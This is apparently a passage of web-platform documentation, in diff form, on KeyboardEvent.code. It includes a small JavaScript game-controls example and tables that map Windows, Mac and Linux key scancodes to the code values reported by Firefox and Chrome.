window.addEventListener("keydown", function(event) {
+  if (event.preventDefaulted) {
+    return; // Do nothing if event already handled
+  }
+
+  switch(event.code) {
+    case "KeyS":
+    case "ArrowDown":
+      // Handle "back"
+      updatePosition(-moveRate);
+      break;
+    case "KeyW":
+    case "ArrowUp":
+      // Handle "forward"
+      updatePosition(moveRate);
+      break;
+    case "KeyA":
+    case "ArrowLeft":
+      // Handle "turn left"
+      angle -= turnRate;
+      break;
+    case "KeyD":
+    case "ArrowRight":
+      // Handle "turn right"
+      angle += turnRate;
+      break;
+  }
+
+  refresh();
+
+  // Consume the event so it doesn't get handled twice
+  event.preventDefault();
+}, true);
+ +

Try it out

+ +

To ensure that keystrokes go to the sample code, click inside the black game play field below before pressing keys.

+ +

{{EmbedLiveSample("Handle_keyboard_events_in_a_game", 420, 460)}}

+ +

There are several ways this code can be made better. Most real games would watch for {{event("keydown")}} events, start motion when that happens, and stop the motion when the corresponding {{event("keyup")}} occurs, instead of relying on key repeats. That would allow both smoother and faster movement, but would also allow the player to be moving and steering at the same time. Transitions or animations could be used to make the ship's movement smoother, too.

+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('UI Events', '#dom-keyboardevent-code', 'KeyboardEvent.code')}}{{Spec2('UI Events')}}Initial definition, included code values.
+ +

Browser compatibility

+ + + +

{{Compat("api.KeyboardEvent.code")}}

+ +

Code values

+ +

The following tables show what code values are used for each native scancode or virtual keycode on major platforms. Because some browsers choose to interpret physical keys differently, there are some differences in which keys map to which codes. These tables show those variations when known.

+ +

Code values on Windows

+ +

This table shows the Windows scan codes representing keys and the KeyboardEvent.code values which correspond to those hardware keys. Only keys which generate scan codes on Windows are listed.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 KeyboardEvent.code value
CodeFirefoxChrome
0x0000 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0001"Escape""Escape"
0x0002"Digit0""Digit0"
0x0003"Digit1""Digit1"
0x0004"Digit2""Digit2"
0x0005"Digit3""Digit3"
0x0006"Digit4""Digit4"
0x0007"Digit5""Digit5"
0x0008"Digit6""Digit6"
0x0009"Digit7""Digit7"
0x000A"Digit8""Digit8"
0x000B"Digit9""Digit9"
0x000C"Minus""Minus"
0x000D"Equal""Equal"
0x000E"Backspace""Backspace"
0x000F"Tab""Tab"
0x0010"KeyQ""KeyQ"
0x0011"KeyW""KeyW"
0x0012"KeyE""KeyE"
0x0013"KeyR""KeyR"
0x0014"KeyT""KeyT"
0x0015"KeyY""KeyY"
0x0016"KeyU""KeyU"
0x0017"KeyI""KeyI"
0x0018"KeyO""KeyO"
0x0019"KeyP""KeyP"
0x001A"BracketLeft""BracketLeft"
0x001B"BracketRight""BracketRight"
0x001C"Enter""Enter"
0x001D"ControlLeft""ControlLeft"
0x001E"KeyA""KeyA"
0x001F"KeyS""KeyS"
0x0020"KeyD""KeyD"
0x0021"KeyF""KeyF"
0x0022"KeyG""KeyG"
0x0023"KeyH""KeyH"
0x0024"KeyJ""KeyJ"
0x0025"KeyK""KeyK"
0x0026"KeyL""KeyL"
0x0027"Semicolon""Semicolon"
0x0028"Quote""Quote"
0x0029"Backquote""Backquote"
0x002A"ShiftLeft""ShiftLeft"
0x002B"Backslash""Backslash"
0x002C"KeyZ""KeyZ"
0x002D"KeyX""KeyX"
0x002E"KeyC""KeyC"
0x002F"KeyV""KeyV"
0x0030"KeyB""KeyB"
0x0031"KeyN""KeyN"
0x0032"KeyM""KeyM"
0x0033"Comma""Comma"
0x0034"Period""Period"
0x0035"Slash""Slash"
0x0036"ShiftRight""ShiftRight"
0x0037"NumpadMultiply""NumpadMultiply"
0x0038"AltLeft""AltLeft"
0x0039"Space""Space"
0x003A"CapsLock""CapsLock"
0x003B"F1""F1"
0x003C"F2""F2"
0x003D"F3""F3"
0x003E"F4""F4"
0x003F"F5""F5"
0x0040"F6""F6"
0x0041"F7""F7"
0x0042"F8""F8"
0x0043"F9""F9"
0x0044"F10""F10"
0x0045"Pause""Pause"
0x0046"ScrollLock""ScrollLock"
0x0047"Numpad7""Numpad7"
0x0048"Numpad8""Numpad8"
0x0049"Numpad9""Numpad9"
0x004A"NumpadSubtract""NumpadSubtract"
0x004B"Numpad4""Numpad4"
0x004C"Numpad5""Numpad5"
0x004D"Numpad6""Numpad6"
0x004E"NumpadAdd""NumpadAdd"
0x004F"Numpad1""Numpad1"
0x0050"Numpad2""Numpad2"
0x0051"Numpad3""Numpad3"
0x0052"Numpad0""Numpad0"
0x0053"NumpadDecimal""NumpadDecimal"
0x0054 (Alt + PrintScreen)"PrintScreen"""
0x0055 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0056"IntlBackslash""IntlBackslash"
0x0057"F11""F11"
0x0058"F12""F12"
0x0059"NumpadEqual"""
0x005A +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x005B +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"F13"
0x005C +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"F14"
0x005D +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"F15"
0x005E +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x005F +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0060 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0061 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0062 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0063 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"F16"
0x0064"F13""F17"
0x0065"F14""F18"
0x0066"F15""F19"
0x0067"F16""F20"
0x0068"F17""F21"
0x0069"F18""F22"
0x006A"F19""F23"
0x006B"F20""F24"
0x006C"F21"""
0x006D"F22"""
0x006E"F23"""
0x006F +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0070"KanaMode"""
0x0071 (Hanja key without Korean keyboard layout)"Lang2"""
0x0072 (Han/Yeong key without Korean keyboard layout)"Lang1"""
0x0073"IntlRo"""
0x0074, 0x0075 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0076"F24"""
0x0077, 0x0078 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x0079"Convert"""
0x007A +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x007B"NonConvert"""
0x007C +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0x007D"IntlYen""IntlYen"
0x007E"NumpadComma"""
0x007F +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE0000xE007 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE008 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"Undo"
0xE009 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE00A"""Paste"
0xE00B0xE00F""""
0xE010"MediaTrackPrevious""MediaTrackPrevious"
0xE0110xE016""""
0xE017 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"Cut"
0xE018 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"Copy"
0xE019"MediaTrackNext""MediaTrackNext"
0xE01A, 0xE01B +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE01C"NumpadEnter""NumpadEnter"
0xE01D"ControlRight""ControlRight"
0xE01E +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"LaunchMail"
0xE01F +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE020"AudioVolumeMute" (was "VolumeMute" until Firefox 49)"AudioVolumeMute" (was "VolumeMute" until Chrome 50)
0xE021"LaunchApp2"""
0xE022"MediaPlayPause""MediaPlayPause"
0xE023 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE024"MediaStop""MediaStop"
0xE0250xE02B +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE02C +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"Eject"
0xE02D +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE02E +

"AudioVolumeDown"

+ +
+

Prior to Firefox 48, this key code is reported as "VolumeDown".

+
+
"VolumeDown" (was "VolumeDown" until Chrome 50)
0xE02F +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE030 +

"AudioVolumeUp"

+ +
+

Prior to Firefox 48, this key code is reported as "VolumeUp".

+
+
"VolumeUp" (was "VolumeUp" until Chrome 50)
0xE031 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE032"BrowserHome""BrowserHome"
0xE033, 0xE034 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE035"NumpadDivide""NumpadDivide"
0xE036 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE037"PrintScreen""PrintScreen"
0xE038"AltRight""AltRight"
0xE039, 0xE03A +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE03B +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
"Help"
0xE03C0xE044 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE045"NumLock""NumLock"
0xE046 (Ctrl + Pause)"Pause""Pause"
0xE047"Home""Home"
0xE048"ArrowUp""ArrowUp"
0xE049"PageUp""PageUp"
0xE04A +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE04B"ArrowLeft""ArrowLeft"
0xE04C +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE04D"ArrowRight""ArrowRight"
0xE04E +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE04F"End""End"
0xE050"ArrowDown""ArrowDown"
0xE051"PageDown""PageDown"
0xE052"Insert""Insert"
0xE053"Delete""Delete"
0xE0540xE05A +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE05B +

"MetaLeft"

+ +
+

Prior to Firefox 48, this key code was reported as "OSLeft".

+
+
"OSLeft"
0xE05C +

"MetaRight"

+ +
+

Prior to Firefox 48, this key code was reported as "OSRight".

+
+
"OSRight"
0xE05D"ContextMenu""ContextMenu"
0xE05E"Power"""
0xE05F0xE064 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE065"BrowserSearch""BrowserSearch"
0xE066"BrowserFavorites""BrowserFavorites"
0xE067"BrowserRefresh""BrowserRefresh"
0xE068"BrowserStop""BrowserStop"
0xE069"BrowserForward""BrowserForward"
0xE06A"BrowserBack""BrowserBack"
0xE06B"LaunchApp1"""
0xE06C"LaunchMail"""
0xE06D"LaunchMediaPlayer" ("MediaSelect" prior to Firefox 49)""
0xE06E ~ 0xE0F0 +

"Unidentified"

+ +
+

Prior to Firefox 48, this key code is reported as "" (an empty string).

+
+
""
0xE0F1 (Hanja key with Korean keyboard layout)"Lang2"""
0xE0F2 (Han/Yeong key with Korean keyboard layout)"Lang1"""
+ +

Code values on Mac

+ +

On Mac OS X, it's hard to get scancode or something which can distinguish a physical key from a key event. Therefore, Gecko always maps code value from the virtual keycode.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Virtual keycodeGecko {{gecko_minversion_inline("32.0")}}Chromium (48)
kVK_ANSI_A (0x00)"KeyA""KeyA"
kVK_ANSI_S (0x01)"KeyS""KeyS"
kVK_ANSI_D (0x02)"KeyD""KeyD"
kVK_ANSI_F (0x03)"KeyF""KeyF"
kVK_ANSI_H (0x04)"KeyH""KeyH"
kVK_ANSI_G (0x05)"KeyG""KeyG"
kVK_ANSI_Z (0x06)"KeyZ""KeyZ"
kVK_ANSI_X (0x07)"KeyX""KeyX"
kVK_ANSI_C (0x08)"KeyC""KeyC"
kVK_ANSI_V (0x09)"KeyV""KeyV"
kVK_ISO_Section (0x0A)"IntlBackslash""IntlBackslash"
kVK_ANSI_B (0x0B)"KeyB""KeyB"
kVK_ANSI_Q (0x0C)"KeyQ""KeyQ"
kVK_ANSI_W (0x0D)"KeyW""KeyW"
kVK_ANSI_E (0x0E)"KeyE""KeyE"
kVK_ANSI_R (0x0F)"KeyR""KeyR"
kVK_ANSI_Y (0x10)"KeyY""KeyY"
kVK_ANSI_T (0x11)"KeyT""KeyT"
kVK_ANSI_1 (0x12)"Digit1""Digit1"
kVK_ANSI_2 (0x13)"Digit2""Digit2"
kVK_ANSI_3 (0x14)"Digit3""Digit3"
kVK_ANSI_4 (0x15)"Digit4""Digit4"
kVK_ANSI_6 (0x16)"Digit6""Digit6"
kVK_ANSI_5 (0x17)"Digit7""Digit7"
kVK_ANSI_Equal (0x18)"Equal""Equal"
kVK_ANSI_9 (0x19)"Digit9""Digit9"
kVK_ANSI_7 (0x1A)"Digit7""Digit7"
kVK_ANSI_Minus (0x1B)"Minus""Minus"
kVK_ANSI_8 (0x1C)"Digit8""Digit8"
kVK_ANSI_0 (0x1D)"Digit0""Digit0"
kVK_ANSI_RightBracket (0x1E)"BracketRight""BracketRight"
kVK_ANSI_O (0x1F)"KeyO""KeyO"
kVK_ANSI_U (0x20)"KeyU""KeyU"
kVK_ANSI_LeftBracket (0x21)"BracketLeft""BracketLeft"
kVK_ANSI_I (0x22)"KeyI""KeyI"
kVK_ANSI_P (0x23)"KeyP""KeyP"
kVK_Return (0x24)"Enter""Enter"
kVK_ANSI_L (0x25)"KeyL""KeyL"
kVK_ANSI_J (0x26)"KeyJ""KeyJ"
kVK_ANSI_Quote (0x27)"Quote""Quote"
kVK_ANSI_K (0x28)"KeyK""KeyK"
kVK_ANSI_Semicolon (0x29)"Semicolon""Semicolon"
kVK_Tab (0x30)"Tab""Tab"
kVK_Space (0x31)"Space""Space"
kVK_ANSI_Grave (0x32)"Backquote""Backquote"
kVK_Delete (0x33)"Backspace""Backspace"
Enter key on keypad of PowerBook (0x34)"NumpadEnter"""
kVK_Escape (0x35)"Escape""Escape"
right-command key (0x36)"OSRight""OSRight"
kVK_Command (0x37)"OSLeft""OSLeft"
kVK_Shift (0x38)"ShiftLeft""ShiftLeft"
kVK_CapsLock (0x39)"CapsLock""CapsLock"
kVK_Option (0x3A)"AltLeft""AltLeft"
kVK_Control (0x3B)"ControlLeft""ControlLeft"
kVK_RightShift (0x3C)"ShiftRight""ShiftRight"
kVK_RightOption (0x3D)"AltRight""AltRight"
kVK_RightControl (0x3E)"ControlRight""ControlRight"
kVK_Function (0x3F)"Fn" (no events fired actually)"" (no events fired actually)
kVK_F17 (0x40)"F17""F17"
kVK_ANSI_KeypadDecimal (0x41)"NumpadDecimal""NumpadDecimal"
kVK_ANSI_KeypadMultiply (0x43)"NumpadMultiply""NumpadMultiply"
kVK_ANSI_KeypadPlus (0x45)"NumpadAdd""NumpadAdd"
kVK_ANSI_KeypadClear (0x47)"NumLock""NumLock"
kVK_VolumeUp (0x48)"AudioVolumeUp" (was "VolumeUp" until Firefox 48)"AudioVolumeUp" (was "VolumeUp" until Chrome 50)
kVK_VolumeDown (0x49)"AudioVolumeDown" (was "VolumeDown" until Firefox 49)"AudioVolumeDown" (was "VolumeDown" until Chrome 50)
kVK_Mute (0x4A)"AudioVolumeMute" (was "VolumeMute" until Firefox 49)"AudioVolumeMute" (was "VolumeMute" until Chrome 50)
kVK_ANSI_KeypadDivide (0x4B)"NumpadDivide""NumpadDivide"
kVK_ANSI_KeypadEnter (0x4C)"NumpadEnter""NumpadEnter"
kVK_ANSI_KeypadMinus (0x4E)"NumpadSubtract""NumpadSubtract"
kVK_F18 (0x4F)"F18""F18"
kVK_F19 (0x50)"F19""F19"
kVK_ANSI_KeypadEquals (0x51)"NumpadEqual""NumpadEqual"
kVK_ANSI_Keypad0 (0x52)"Numpad0""Numpad0"
kVK_ANSI_Keypad1 (0x53)"Numpad1""Numpad1"
kVK_ANSI_Keypad2 (0x54)"Numpad2""Numpad2"
kVK_ANSI_Keypad3 (0x55)"Numpad3""Numpad3"
kVK_ANSI_Keypad4 (0x56)"Numpad4""Numpad4"
kVK_ANSI_Keypad5 (0x57)"Numpad5""Numpad5"
kVK_ANSI_Keypad6 (0x58)"Numpad6""Numpad6"
kVK_ANSI_Keypad7 (0x59)"Numpad7""Numpad7"
kVK_F20 (0x5A)"F20""F20"
kVK_ANSI_Keypad8 (0x5B)"Numpad8""Numpad8"
kVK_ANSI_Keypad9 (0x5C)"Numpad9""Numpad9"
kVK_JIS_Yen (0x5D)"IntlYen""IntlYen"
kVK_JIS_Underscore (0x5E)"IntlRo""IntlRo"
kVK_JIS_KeypadComma (0x5F)"NumpadComma""NumpadComma"
kVK_F5 (0x60)"F5""F5"
kVK_F6 (0x61)"F6""F6"
kVK_F7 (0x62)"F7""F7"
kVK_F3 (0x63)"F3""F3"
kVK_F8 (0x64)"F8""F8"
kVK_F9 (0x65)"F9""F9"
kVK_JIS_Eisu (0x66) +

"Lang2"

+ +
+

Prior to Firefox 37, this key incorrectly generated the key code "RomanCharacters".

+
+
"" (no events fired actually)
kVK_F11 (0x67)"F11""F11"
kVK_JIS_Kana (0x68)"Lang1""KanaMode" (no events fired actually)
kVK_F13 (0x69)"F13""F13"
kVK_F16 (0x6A)"F16""F16"
kVK_F14 (0x6B)"F14""F14"
kVK_F10 (0x6D)"F10""F10"
kVK_F12 (0x6F)"F12""F12"
kVK_F15 (0x71)"F15""F15"
kVK_Help (0x72)"Help""Insert"
kVK_Home (0x73)"Home""Home"
kVK_PageUp (0x74)"PageUp""PageUp"
kVK_ForwardDelete (0x75)"Delete""Delete"
kVK_F4 (0x76)"F4""F4"
kVK_End (0x77)"End""End"
kVK_F2 (0x78)"F2""F2"
kVK_PageDown (0x79)"PageDown""PageDown"
kVK_F1 (0x7A)"F1""F1"
kVK_LeftArrow (0x7B)"ArrowLeft""ArrowLeft"
kVK_RightArrow (0x7C)"ArrowRight""ArrowRight"
kVK_DownArrow (0x7D)"ArrowDown""ArrowDown"
kVK_UpArrow (0x7E)"ArrowUp""ArrowUp"
+ +

Code values on Linux (X11) (When scancode is available)

+ +

Note that X has too many keys and some of them are not testable with usual keyboard. So, following table is created from source code which maps from scancode to code value.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
scancode (hardware_keycode)Gecko {{gecko_minversion_inline("32.0")}}Chromium (44)
0x0009"Escape""Escape"
0x000A"Digit1""Digit1"
0x000B"Digit2""Digit2"
0x000C"Digit3""Digit3"
0x000D"Digit4""Digit4"
0x000E"Digit5""Digit5"
0x000F"Digit6""Digit6"
0x0010"Digit7""Digit7"
0x0011"Digit8""Digit8"
0x0012"Digit9""Digit9"
0x0013"Digit0""Digit0"
0x0014"Minus""Minus"
0x0015"Equal""Equal"
0x0016"Backspace""Backspace"
0x0017"Tab""Tab"
0x0018"KeyQ""KeyQ"
0x0019"KeyW""KeyW"
0x001A"KeyE""KeyE"
0x001B"KeyR""KeyR"
0x001C"KeyT""KeyT"
0x001D"KeyY""KeyY"
0x001E"KeyU""KeyU"
0x001F"KeyI""KeyI"
0x0020"KeyO""KeyO"
0x0021"KeyP""KeyP"
0x0022"BracketLeft""BracketLeft"
0x0023"BracketRight""BracketRight"
0x0024"Enter""Enter"
0x0025"ControlLeft""ControlLeft"
0x0026"KeyA""KeyA"
0x0027"KeyS""KeyS"
0x0028"KeyD""KeyD"
0x0029"KeyF""KeyF"
0x002A"KeyG""KeyG"
0x002B"KeyH""KeyH"
0x002C"KeyJ""KeyJ"
0x002D"KeyK""KeyK"
0x002E"KeyL""KeyL"
0x002F"Semicolon""Semicolon"
0x0030"Quote""Quote"
0x0031"Backquote""Backquote"
0x0032"ShiftLeft""ShiftLeft"
0x0033"Backslash""Backslash"
0x0034"KeyZ""KeyZ"
0x0035"KeyX""KeyX"
0x0036"KeyC""KeyC"
0x0037"KeyV""KeyV"
0x0038"KeyB""KeyB"
0x0039"KeyN""KeyN"
0x003A"KeyM""KeyM"
0x003B"Comma""Comma"
0x003C"Period""Period"
0x003D"Slash""Slash"
0x003E"ShiftRight""ShiftRight"
0x003F"NumpadMultiply""NumpadMultiply"
0x0040"AltLeft""AltLeft"
0x0041"Space""Space"
0x0042"CapsLock""CapsLock"
0x0043"F1""F1"
0x0044"F2""F2"
0x0045"F3""F3"
0x0046"F4""F4"
0x0047"F5""F5"
0x0048"F6""F6"
0x0049"F7""F7"
0x004A"F8""F8"
0x004B"F9""F9"
0x004C"F10""F10"
0x004D"NumLock""NumLock"
0x004E"ScrollLock""ScrollLock"
0x004F"Numpad7""Numpad7"
0x0050"Numpad8""Numpad8"
0x0051"Numpad9""Numpad9"
0x0052"NumpadSubtract""NumpadSubtract"
0x0053"Numpad4""Numpad4"
0x0054"Numpad5""Numpad5"
0x0055"Numpad6""Numpad6"
0x0056"NumpadAdd""NumpadAdd"
0x0057"Numpad1""Numpad1"
0x0058"Numpad2""Numpad2"
0x0059"Numpad3""Numpad3"
0x005A"Numpad0""Numpad0"
0x005B"NumpadDecimal""NumpadDecimal"
0x005C, 0x005D"Unidentified"""
0x005E"IntlBackslash""IntlBackslash"
0x005F"F11""F11"
0x0060"F12""F12"
0x0061"IntlRo""IntlRo"
0x0062, 0x0063"Unidentified"""
0x0064"Convert""Convert"
0x0065"KanaMode""KanaMode"
0x0066"NonConvert""NonConvert"
0x0067"Unidentified"""
0x0068"NumpadEnter""NumpadEnter"
0x0069"ControlRight""ControlRight"
0x006A"NumpadDivide""NumpadDivide"
0x006B"PrintScreen""PrintScreen"
0x006C"AltRight""AltRight"
0x006D"Unidentified"""
0x006E"Home""Home"
0x006F"ArrowUp""ArrowUp"
0x0070"PageUp""PageUp"
0x0071"ArrowLeft""ArrowLeft"
0x0072"ArrowRight""ArrowRight"
0x0073"End""End"
0x0074"ArrowDown""ArrowDown"
0x0075"PageDown""PageDown"
0x0076"Insert""Insert"
0x0077"Delete""Delete"
0x0078"Unidentified"""
0x0079"AudioVolumeMute" (was "VolumeMute" until Firefox 49)"AudioVolumeMute" (was "VolumeMute" until Chrome 50)
0x007A"AudioVolumeDown" (was "VolumeDown" until Firefox 49)"AudioVolumeDown" (was "VolumeDown" until Chrome 50)
0x007B"AudioVolumeUp" (was "VolumeUp" until Firefox 49)"AudioVolumeUp" (was "VolumeUp" until Chrome 50)
0x007C"Unidentified""Power"
0x007D"NumpadEqual""NumpadEqual"
0x007E"Unidentified""NumpadChangeSign"
0x007F"Pause""Pause"
0x0080"Unidentified"""
0x0081"NumpadComma"""
0x0082"Lang1""HangulMode"
0x0083"Lang2""Hanja"
0x0084"IntlYen""IntlYen"
0x0085"OSLeft""OSLeft"
0x0086"OSRight""OSRight"
0x0087"ContextMenu""ContextMenu"
0x0088"BrowserStop""Cancel"
0x0089"Again" {{gecko_minversion_inline("38.0")}}""
0x008A"Props" {{gecko_minversion_inline("38.0")}}""
0x008B"Undo" {{gecko_minversion_inline("38.0")}}"Undo"
0x008C"Select" {{gecko_minversion_inline("38.0")}}""
0x008D"Copy" {{gecko_minversion_inline("38.0")}}"Copy"
0x008E"Open" {{gecko_minversion_inline("38.0")}}""
0x008F"Paste" {{gecko_minversion_inline("38.0")}}"Paste"
0x0090"Find" {{gecko_minversion_inline("38.0")}}""
0x0091"Cut" {{gecko_minversion_inline("38.0")}}"Cut"
0x0092"Help""Help"
0x0093"Unidentified"""
0x0094"LaunchApp2"""
0x0095, 0x0096"Unidentified"""
0x0097"WakeUp"""
0x0098"LaunchApp1"""
0x00990x00A2"Unidentified"""
0x00A3"LaunchMail"""
0x00A4"BrowserFavorites"""
0x00A5"Unidentified"""
0x00A6"BrowserBack""BrowserBack"
0x00A7"BrowserForward""BrowserForward"
0x00A8"Unidentified"""
0x00A9"Eject"""
0x00AA"Unidentified"""
0x00AB"MediaTrackNext"""
0x00AC"MediaPlayPause"""
0x00AD"MediaTrackPrevious"""
0x00AE"MediaStop"""
